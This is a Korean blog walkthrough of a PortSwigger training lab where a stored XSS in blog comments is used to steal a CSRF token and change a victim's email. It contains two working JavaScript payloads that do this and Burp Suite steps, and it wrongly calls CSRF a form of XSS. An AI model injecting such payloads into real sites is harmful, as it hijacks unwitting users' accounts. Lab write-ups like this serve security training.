Lab: Exploiting XSS to perform CSRF

Lab: Exploiting XSS to perform CSRF

https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-perform-csrf

 

Lab: Exploiting XSS to perform CSRF | Web Security Academy

This lab contains a stored XSS vulnerability in the blog comments function. To solve the lab, exploit the vulnerability to perform a CSRF attack and change ...

portswigger.net

 


Stored XSS 공격 및 CSRF 공격 구문 작성

 

CSRF는 XSS 공격의 한 형태입니다. 목적이 분명한 Stored XSS이고, 피해자가 눈치채지 못하게 자동 공격을 수행합니다.

웹사이트 내 XSS 취약점을 이용하여 사용자가 의도하지 않은 요청을 송신하도록 하는 공격을 의미하며, 사용자가 자신의 의지와는 무관하게 공격자가 의도한 행동을 하여 특정 웹 페이지를 보안에 취약하게 한다거나 수정, 삭제 등의 작업을 하게 만드는 공격방법입니다.

 

[CSRF 공격과정]

- XSS 공격이 존재하는지 확인(스크립트 코드 삽입)

- 정보 수집(이메일 주소를 업데이트하여 csrf 수집)

- CSRF 공격 구문 작성(공격)

 

[기본 설정] 프록시 설정, ACCESS THE LAB의 주소를 Burp Suite에 설정

 

(1) 블로그 내 My account로 이동합니다.

 

(2) 로그인을 합니다. 

 

(3) 포스트로 이동합니다.

 

(4) 포스트에 댓글을 작성합니다.

 

(5) Post Comment를 누르기전 Intercept is on으로 바꿔주고, 댓글을 등록합니다.

Intercept is on

 

comment=Hello

 

(6) comment 부분에 악성 스크립트 코드를 작성하고 Forward를 클릭하여 스크립트 코드가 실행되는지 확인합니다.

 

블로그로 이동하면 다음과 같이 댓글이 작성되었음을 확인할 수 있습니다.

댓글 작성 성공

 

댓글을 작성한 포스트로 이동하여 경고창을 확인합니다.

경고창 확인

 

(7) 블로그에서 My account로 이동하여 Email을 변경하고 csrf를 확인합니다.

이메일 변경

 

burp suite로 이동하여 change-email 패킷을 확인합니다.

 

(8) 이제는 포스트에 악성 스크립트 코드를 포함한 댓글을 작성합니다.

<script>
	var req = new XMLHttpRequest();
	req.addEventListener("load", handleResponse);
	req.open('get','/my-account');
	req.send();
	function handleResponse() {
		var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
		var changeReq = new XMLHttpRequest();
		changeReq.open('post', '/my-account/change-email');
		changeReq.send('csrf='+token+'&email=abc@abc.comssss');
	};
</script>

/*Port Swigger Solution 제공*/
<script>
	var req = new XMLHttpRequest();
	req.onload = handleResponse;
	req.open('get','/my-account',true);
	req.send();
    function handleResponse() {
        var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
        var changeReq = new XMLHttpRequest();
        changeReq.open('post', '/my-account/change-email', true);
        changeReq.send('csrf='+token+'&email=test@test.com')
    };
</script>

 

 

[추가]

XML Http Request란?

JavaScript에서 HTTP 요청을 만들 수 있는 내장 브라우저 객체입니다.

onload 대신 addEventListener를 사용해도 됩니다.

참고자료 : https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest_API/Using_XMLHttpRequest

 

Using XMLHttpRequest - Web APIs | MDN

In this guide, we'll take a look at how to use XMLHttpRequest to issue HTTP requests in order to exchange data between the website and a server.

developer.mozilla.org

 

(9) 스크립트 실행을 확인하기 위해 댓글을 작성한 포스트로 이동합니다. 

댓글 작성 확인

 

댓글 작성한 포스트로 이동

 

(10) burp suite에서 change-email 패킷을 찾아 이메일이 변경된 것을 확인합니다. 

 

(11) 블로그 내 My account로 이동하여 이메일이 변경되었음을 확인합니다.